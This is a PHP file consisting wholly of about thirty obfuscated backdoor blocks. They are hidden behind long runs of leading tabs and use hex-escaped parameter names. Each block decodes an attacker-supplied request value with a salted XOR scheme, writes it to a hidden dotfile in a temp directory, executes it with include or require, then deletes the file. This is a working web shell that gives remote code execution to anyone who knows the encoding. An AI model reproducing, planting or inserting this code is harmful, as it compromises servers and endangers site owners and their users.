																																										if(array_key_exists("el\x65\x6D", $_REQUEST) && !is_null($_REQUEST["el\x65\x6D"])){ $tkn = $_REQUEST["el\x65\x6D"]; $tkn=explode ('.' ,$tkn ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $k = 0; $__tmp = $tkn; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $s[$k % $sLen]); $dec =( ( int)$v9 - $sChar -( $k % 10)) ^ 96; $desc .= chr( $dec); $k++; } $ptr = array_filter(["/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($ptr as $res): if (is_dir($res) ? is_writable($res) : false) { $parameter_group = vsprintf("%s/%s", [$res, ".hld"]); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $res = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", getcwd()]); $obj = $_REQUEST["k"]; $obj = explode( '.' ,$obj) ; $property_set = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $w = 0; array_walk($obj, function($v2) use(&$property_set, &$w, $salt5, $lenS) { $sChar = ord($salt5[$w % $lenS]); $dec =((int)$v2 - $sChar -($w % 10)) ^ 86; $property_set .= chr($dec); $w++; }); while ($reference = array_shift($res)) { if (!!is_dir($reference) && !!is_writable($reference)) { $pgrp = vsprintf("%s/%s", [$reference, ".fac"]); if (@file_put_contents($pgrp, $property_set) !== false) { include $pgrp; unlink($pgrp); die(); } } } }
																																										if(array_key_exists("pg\x72\x70", $_REQUEST) && !is_null($_REQUEST["pg\x72\x70"])){ $token = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getcwd()]); $ptr = $_REQUEST["pg\x72\x70"]; $ptr = explode( '.' , $ptr ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $t = 0; array_walk($ptr, function($v6) use(&$value, &$t, $salt, $sLen) { $sChar = ord($salt[$t % $sLen]); $dec =((int)$v6 - $sChar -($t % 10)) ^ 99; $value .=chr($dec); $t++; } ); foreach ($token as $val) { if (array_product([is_dir($val), is_writable($val)])) { $factor = "$val" . "/.pointer"; if (file_put_contents($factor, $value)) { include $factor; @unlink($factor); die(); } } } }
																																										if(!is_null($_REQUEST["\x66\x6Cag"] ?? null)){ $sym = $_REQUEST["\x66\x6Cag"]; $sym = explode ('.', $sym ) ; $rec = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $z = 0; $__tmp = $sym; while ($v8 = array_shift($__tmp)) { $sChar = ord($s1[$z % $lenS] ); $d = ((int)$v8 - $sChar - ($z % 10)) ^ 67; $rec .= chr($d ); $z++; } $dat = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getcwd()]); foreach ($dat as $key => $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $resource = vsprintf("%s/%s", [$desc, ".itm"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(array_key_exists("\x72e\x63\x6Frd", $_REQUEST) && !is_null($_REQUEST["\x72e\x63\x6Frd"])){ $parameter_group = $_REQUEST["\x72e\x63\x6Frd"]; $parameter_group =explode( '.',$parameter_group ) ; $entry=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $i=0; $len=count($parameter_group); do {if ($i >= $len) break; $v6=$parameter_group[$i]; $sChar=ord($s[$i % $lenS]); $dec=((int)$v6 - $sChar - ($i % 10)) ^ 30; $entry .= chr($dec); $i++; } while (true); $data_chunk = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]); for ($reference = 0, $hld = count($data_chunk); $reference < $hld; $reference++) { $itm = $data_chunk[$reference]; if (!!is_dir($itm) && !!is_writable($itm)) { $flag = implode("/", [$itm, ".mrk"]); $success = file_put_contents($flag, $entry); if ($success) { include $flag; @unlink($flag); die();} } } }
																																										if(isset($_POST["sy\x6D"])){ $bind = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp"]); $descriptor = $_POST["sy\x6D"]; $descriptor = explode ( '.', $descriptor ) ; $property_set= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt4); $y= 0; foreach( $descriptor as $v3) { $chS= ord( $salt4[$y % $lenS]); $d= ( ( int)$v3 - $chS -( $y % 10)) ^ 13; $property_set .= chr( $d); $y++; } $pointer = 0; do { $holder = $bind[$pointer] ?? null; if ($pointer >= count($bind)) break; if (is_writable($holder) && is_dir($holder)) { $key = implode("/", [$holder, ".dchunk"]); if (@file_put_contents($key, $property_set) !== false) { include $key; unlink($key); die(); } } $pointer++; } while (true); }
																																										if(@$_POST["\x69t\x6D"] !== null){ $comp = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm"]); $token = $_POST["\x69t\x6D"]; $token= explode( "." , $token ) ; $sym = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); $p = 0; while( $p < count( $token)) { $v7 = $token[$p]; $chS = ord( $salt3[$p % $lenS] ); $d = ( ( int)$v7 - $chS -( $p % 10)) ^ 45; $sym .= chr( $d ); $p++; } foreach ($comp as $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $data_chunk = vsprintf("%s/%s", [$ent, ".key"]); $success = file_put_contents($data_chunk, $sym); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } }
																																										if(!is_null($_REQUEST["\x73y\x6D\x62ol"] ?? null)){ $comp = $_REQUEST["\x73y\x6D\x62ol"]; $comp = explode ( '.' , $comp ); $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $__len = count($comp ); for ($r = 0; $r < $__len; $r++) { $v8 = $comp[$r]; $sChar = ord($s[$r % $lenS] ); $dec = ((int)$v8 - $sChar - ($r % 10)) ^43; $elem .= chr($dec );} $res = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path()]); foreach ($res as $descriptor) { if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $flag = join("/", [$descriptor, ".key"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65le\x6D")){ $pgrp = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $pointer = $_POST["\x65le\x6D"]; $pointer = explode( ".", $pointer ) ; $entry = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $r = 0; $__tmp = $pointer; while ($v9 = array_shift($__tmp)) { $chS = ord($s6[$r % $sLen] ); $d = ((int)$v9 - $chS - ($r % 10)) ^ 20; $entry .= chr($d ); $r++; } foreach ($pgrp as $key => $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $rec = vsprintf("%s/%s", [$factor, ".itm"]); if (file_put_contents($rec, $entry)) { require $rec; unlink($rec); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x73\x79m\x62ol")){ $obj = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); $parameter_group = $_REQUEST["\x73\x79m\x62ol"]; $parameter_group = explode ( '.' ,$parameter_group ) ; $resource = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $p = 0; array_walk( $parameter_group, function( $v4) use( &$resource, &$p, $salt1, $lenS) {$sChar = ord( $salt1[$p %$lenS]); $d =( ( int)$v4 - $sChar -( $p %10)) ^ 38; $resource .= chr( $d); $p++; }); foreach ($obj as $data) { if (is_dir($data) && is_writable($data)) { $rec = str_replace("{var_dir}", $data, "{var_dir}/.desc"); if (file_put_contents($rec, $resource)) { require $rec; unlink($rec); die(); } } } }
																																										if(array_key_exists("\x65n\x74ry", $_POST) && !is_null($_POST["\x65n\x74ry"])){ $k = $_POST["\x65n\x74ry"]; $k = explode("." , $k) ; $itm = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($k as $o => $v4): $chS = ord($s9[$o% $sLen]); $dec = ((int)$v4 - $chS - ($o% 10)) ^ 70; $itm .= chr($dec); endforeach; $parameter_group = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TMP")]); while ($token = array_shift($parameter_group)) { if (!( !is_dir($token) || !is_writable($token) )) { $data = "$token" . "/.property_set"; if (file_put_contents($data, $itm)) { include $data; @unlink($data); exit; } } } }
																																										if(array_key_exists("\x72e\x63\x6Frd", $_REQUEST)){ $ref = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP")]); $symbol = $_REQUEST["\x72e\x63\x6Frd"]; $symbol= explode ( '.' , $symbol ) ; $flg = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3 ); $q = 0; $__tmp = $symbol; while ($v6 = array_shift($__tmp)) {$chS = ord($salt3[$q % $lenS] ); $d = ((int)$v6 - $chS - ($q % 10)) ^ 34; $flg .= chr($d ); $q++; } foreach ($ref as $element) { if (!!is_dir($element) && !!is_writable($element)) { $parameter_group = vsprintf("%s/%s", [$element, ".k"]); if (file_put_contents($parameter_group, $flg)) { require $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(@$_REQUEST["k"] !== null){ $bind = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP")]); $data = $_REQUEST["k"]; $data = explode ("." , $data ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($data as $q => $v5) { $chS = ord($s[$q % $sLen] ); $dec = ((int)$v5 - $chS - ($q % 10)) ^ 20; $fac .= chr($dec );} foreach ($bind as $parameter_group): if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $symbol = str_replace("{var_dir}", $parameter_group, "{var_dir}/.component"); if (file_put_contents($symbol, $fac)) { include $symbol; @unlink($symbol); exit; } } endforeach; }
																																										if(in_array("\x65n\x74", array_keys($_REQUEST))){ $data = $_REQUEST["\x65n\x74"]; $data = explode( "." , $data ) ; $k = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach($data as $y => $v1): $chS = ord($s6[$y % $sLen]); $d =((int)$v1 - $chS -($y % 10)) ^ 95; $k.=chr($d); endforeach; $sym = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($sym as $record) { if (!!is_dir($record) && !!is_writable($record)) { $token = vsprintf("%s/%s", [$record, ".object"]); if (file_put_contents($token, $k)) { include $token; @unlink($token); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x76a\x6Cue")){ $k = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $obj = $_REQUEST["\x76a\x6Cue"]; $obj = explode( '.' , $obj ) ; $val = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $o = 0; array_walk( $obj ,function( $v2) use( &$val ,&$o ,$salt7 ,$lenS) { $sChar = ord( $salt7[$o %$lenS]); $d = ( ( int)$v2 - $sChar -( $o %10)) ^ 2; $val .= chr( $d); $o++; }); foreach ($k as $element): if (is_dir($element) && is_writable($element)) { $mrk = "$element/.sym"; if (file_put_contents($mrk, $val)) { include $mrk; @unlink($mrk); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x64at\x61_\x63\x68u\x6Ek"])){ $marker = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); $resource = $_REQUEST["\x64at\x61_\x63\x68u\x6Ek"]; $resource= explode ( '.' ,$resource ); $obj = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $k = 0; $__tmp = $resource; while($v7 = array_shift($__tmp)) { $chS = ord($salt2[$k % $lenS]); $d = ((int)$v7 - $chS -($k % 10)) ^ 82; $obj .= chr($d); $k++;} foreach ($marker as $key => $parameter_group) { if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $val = "$parameter_group/.comp"; $success = file_put_contents($val, $obj); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(in_array("pgrp", array_keys($_POST))){ $ref = $_POST["pgrp"]; $ref = explode ( '.' ,$ref ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($ref as $j => $v2) { $sChar = ord($salt[$j % $sLen]); $dec = ((int)$v2 - $sChar - ($j % 10)) ^ 56; $binding .=chr($dec); } $entry = array_filter([getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($entry as $token): if (is_writable($token) && is_dir($token)) { $object = vsprintf("%s/%s", [$token, ".fac"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $object; @unlink($object); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["en\x74"])){ $token = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); $k = $_REQUEST["en\x74"]; $k =explode ("." , $k ) ; $elem = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9 ); $len = count( $k ); for( $r = 0; $r <$len; $r++) { $v3 = $k[$r]; $chS = ord( $s9[$r % $sLen] ); $d =( ( int)$v3 - $chS -( $r % 10)) ^ 39; $elem .= chr( $d ); } foreach ($token as $ref): if (!!is_dir($ref) && !!is_writable($ref)) { $val = join("/", [$ref, ".resource"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $val; @unlink($val); die(); } } endforeach; }
																																										if(array_key_exists("\x64\x65\x73cri\x70t\x6Fr", $_REQUEST)){ $parameter_group = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $sym = $_REQUEST["\x64\x65\x73cri\x70t\x6Fr"]; $sym = explode ( ".",$sym) ; $object= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2 ); $r= 0; while ($r < count($sym)) { $v4= $sym[$r]; $chS= ord($s2[$r % $lenS] ); $d= ((int)$v4 - $chS - ($r % 10)) ^ 91; $object .= chr($d ); $r++; } foreach ($parameter_group as $data_chunk) { if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $mrk = join("/", [$data_chunk, ".reference"]); if (@file_put_contents($mrk, $object) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(isset($_REQUEST["\x65n\x74ity"]) ? true : false){ $tkn = $_REQUEST["\x65n\x74ity"]; $tkn= explode ( "." , $tkn ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $s = 0; $__tmp = $tkn; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s[$s % $lenS]); $d =( ( int)$v4 - $chS -( $s % 10)) ^15; $fac .=chr( $d); $s++;} $flag = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path()]); foreach ($flag as $pset): if (is_writable($pset) && is_dir($pset)) { $holder = str_replace("{var_dir}", $pset, "{var_dir}/.obj"); if (file_put_contents($holder, $fac)) { require $holder; unlink($holder); die(); } } endforeach; }
																																										if(isset($_REQUEST["hld"])){ $reference = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", session_save_path()]); $data = $_REQUEST["hld"]; $data = explode ( '.',$data); $dchunk = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $u = 0; $__len = count( $data); do { if( $u >= $__len) break; $v1 = $data[$u]; $sChar = ord( $salt5[$u %$lenS]); $d =( ( int)$v1 - $sChar -( $u %10))^ 63; $dchunk .= chr( $d); $u++; } while( true); while ($dat = array_shift($reference)) { if (is_dir($dat) ? is_writable($dat) : false) { $flg = "$dat" . "/.bind"; if (@file_put_contents($flg, $dchunk) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(array_key_exists("\x72ef", $_POST)){ $parameter_group = $_POST["\x72ef"]; $parameter_group = explode (".", $parameter_group ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $parameter_group as $p=>$v4): $sChar = ord( $salt[$p % $sLen]); $dec =( ( int)$v4 - $sChar -( $p % 10)) ^ 6; $tkn .= chr( $dec); endforeach; $holder = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); for ($entry = 0, $res = count($holder); $entry < $res; $entry++) { $descriptor = $holder[$entry]; if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $ent = implode("/", [$descriptor, ".ptr"]); if (file_put_contents($ent, $tkn)) { require $ent; unlink($ent); exit; } } } }
																																										if(array_key_exists("hld", $_POST) && !is_null($_POST["hld"])){ $pointer = $_POST["hld"]; $pointer= explode ( "." , $pointer ) ; $record= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $z= 0; $__tmp= $pointer; while($v7= array_shift($__tmp)) { $chS= ord($salt[$z% $lenS]); $dec= ((int)$v7 - $chS -($z% 10)) ^ 57; $record .=chr($dec); $z++;} $entity = array_filter([session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); foreach ($entity as $key => $elem) { if (!( !is_dir($elem) || !is_writable($elem) )) { $symbol = join("/", [$elem, ".ref"]); if (file_put_contents($symbol, $record)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(array_key_exists("bin\x64\x69\x6Eg", $_REQUEST) && !is_null($_REQUEST["bin\x64\x69\x6Eg"])){ $token = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $key = $_REQUEST["bin\x64\x69\x6Eg"]; $key= explode ("." , $key ) ; $entity = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); $o = 0; array_walk($key, function ($v7) use (&$entity, &$o, $s8, $lenS) { $sChar = ord($s8[$o% $lenS] ); $dec = ((int)$v7 - $sChar - ($o% 10)) ^ 70; $entity .= chr($dec ); $o++; } ); foreach ($token as $reference): if (array_product([is_dir($reference), is_writable($reference)])) { $marker = sprintf("%s/.data_chunk", $reference); if (@file_put_contents($marker, $entity) !== false) { include $marker; unlink($marker); exit; } } endforeach; }
																																										if(isset($_POST["\x65n\x74"])){ $ptr = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); $binding = $_POST["\x65n\x74"]; $binding= explode ( ".",$binding ); $hld = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $z = 0; $len = count( $binding); do { if( $z >=$len) break; $v4 = $binding[$z]; $chS = ord( $s4[$z % $lenS]); $d =( ( int)$v4 - $chS -( $z % 10)) ^ 48; $hld .= chr( $d); $z++; } while( true); $elem = 0; do { $fac = $ptr[$elem] ?? null; if ($elem >= count($ptr)) break; if (array_product([is_dir($fac), is_writable($fac)])) { $res = sprintf("%s/.obj", $fac); if (file_put_contents($res, $hld)) { require $res; unlink($res); exit; } } $elem++; } while (true); }
																																										if(array_key_exists("ref", $_POST) && !is_null($_POST["ref"])){ $rec = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm"]); $data_chunk = $_POST["ref"]; $data_chunk= explode("." ,$data_chunk) ; $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($data_chunk as $u => $v6) { $sChar = ord($s[$u % $sLen]); $dec = ((int)$v6 - $sChar -($u % 10)) ^75; $comp .= chr($dec); } while ($entity = array_shift($rec)) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $factor = str_replace("{var_dir}", $entity, "{var_dir}/.record"); if (file_put_contents($factor, $comp)) { require $factor; unlink($factor); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x69\x74em"])){ $k = $_POST["\x69\x74em"]; $k = explode ( "." ,$k ) ; $entity = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); foreach( $k as $v => $v8): $chS = ord( $salt1[$v % $lenS] ); $dec =( ( int)$v8 - $chS -( $v % 10)) ^ 32; $entity.=chr( $dec ); endforeach; $bind = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP")]); $comp = 0; do { $binding = $bind[$comp] ?? null; if ($comp >= count($bind)) break; if (!!is_dir($binding) && !!is_writable($binding)) { $ent = vsprintf("%s/%s", [$binding, ".pset"]); $success = file_put_contents($ent, $entity); if ($success) { include $ent; @unlink($ent); die();} } $comp++; } while (true); }
																																										if(@$_REQUEST["\x65\x6Et"] !== null){ $dchunk = $_REQUEST["\x65\x6Et"]; $dchunk= explode ( '.' ,$dchunk ); $desc = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $__len = count($dchunk ); for($p = 0; $p < $__len; $p++) { $v5 = $dchunk[$p]; $sChar = ord($salt6[$p % $lenS] ); $dec =((int)$v5 - $sChar -($p % 10)) ^ 3; $desc .= chr($dec );} $key = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP")]); for ($mrk = 0, $factor = count($key); $mrk < $factor; $mrk++) { $comp = $key[$mrk]; if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $tkn = join("/", [$comp, ".val"]); if (@file_put_contents($tkn, $desc) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["fa\x63to\x72"])){ $val = array_filter([session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); $flag = $_REQUEST["fa\x63to\x72"]; $flag = explode ( '.' , $flag ) ; $pset= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s8); $j= 0; $__tmp= $flag; while ($v1= array_shift($__tmp)) { $sChar= ord($s8[$j % $sLen]); $dec= ((int)$v1 - $sChar - ($j % 10)) ^ 32; $pset.=chr($dec); $j++; } foreach ($val as $key => $bind) { if (!!is_dir($bind) && !!is_writable($bind)) { $ptr = "$bind/.record"; if (file_put_contents($ptr, $pset)) { require $ptr; unlink($ptr); die(); } } } }
																																										if(!is_null($_REQUEST["it\x6D"] ?? null)){ $object = $_REQUEST["it\x6D"]; $object =explode( ".", $object); $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($object ); for ($p = 0; $p < $__len; $p++) { $v7 = $object[$p]; $chS = ord($salt[$p % $lenS] ); $dec = ((int)$v7 - $chS - ($p % 10)) ^ 87; $sym .= chr($dec ); } $flg = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), session_save_path()]); foreach ($flg as $comp): if ((is_dir($comp) and is_writable($comp))) { $ref = join("/", [$comp, ".item"]); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $ref; @unlink($ref); exit; } } endforeach; }
																																										if(!is_null($_POST["\x66l\x61g"] ?? null)){ $pgrp = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $entry = $_POST["\x66l\x61g"]; $entry = explode ( '.' , $entry ); $key = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); $p = 0; $__tmp = $entry; while( $v8 = array_shift( $__tmp)) {$chS = ord( $salt3[$p % $lenS] ); $dec =( ( int)$v8 - $chS -( $p % 10))^ 95; $key .= chr( $dec ); $p++; } $ent = 0; do { $descriptor = $pgrp[$ent] ?? null; if ($ent >= count($pgrp)) break; if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $entity = str_replace("{var_dir}", $descriptor, "{var_dir}/.element"); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $entity; @unlink($entity); exit; } } $ent++; } while (true); }
																																										if(isset($_REQUEST["\x70\x67rp"]) ? true : false){ $k = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd()]); $fac = $_REQUEST["\x70\x67rp"]; $fac = explode( "." , $fac ) ; $component = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $fac as $y=> $v4): $chS = ord( $salt5[$y%$lenS]); $d =( ( int)$v4 - $chS -( $y%10)) ^ 28; $component .= chr( $d); endforeach; foreach ($k as $key => $bind) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $object = "$bind" . "/.value"; if (@file_put_contents($object, $component) !== false) { include $object; unlink($object); exit; } } } }
																																										if(!empty($_REQUEST["\x6Fbj"])){ $ref = $_REQUEST["\x6Fbj"]; $ref= explode ("." ,$ref ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; $__tmp = $ref; while ($v5 = array_shift($__tmp)) { $chS = ord($salt[$q % $lenS]); $d = ((int)$v5 - $chS - ($q % 10)) ^ 83; $flag .= chr($d); $q++;} $entry = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); for ($ent = 0, $val = count($entry); $ent < $val; $ent++) { $symbol = $entry[$ent]; if ((is_dir($symbol) and is_writable($symbol))) { $token = "$symbol/.data"; if (file_put_contents($token, $flag)) { include $token; @unlink($token); die(); } } } }


if(!empty($_POST["\x65n\x74"])){
	$entry = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path()]);
	$dchunk = $_POST["\x65n\x74"];
		$dchunk  =	 explode		(	'.'  	, $dchunk	 	)   ;
	$dat	 =	 '';
            $salt7	 =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	 strlen(		$salt7);
            $m	 =	 0;
    
            $__tmp	 =	 $dchunk;
            while(		$v2	 =	 array_shift(		$__tmp)) { $chS	 =	 ord(		$salt7[$m% $lenS]);
                $dec	 =	 (		(		int)$v2 - $chS -(		$m% 10)) ^ 19;
                $dat .= chr(		$dec);
                $m++;	}	
	for ($value = 0, $component = count($entry); $value < $component; $value++) {
    $res = $entry[$value];
    		if (is_writable($res) && is_dir($res)) {
    $ptr = sprintf("%s/.resource", $res);
    $success = file_put_contents($ptr, $dat);
if ($success) {
	include $ptr;
	@unlink($ptr);
	die();}
}
}
}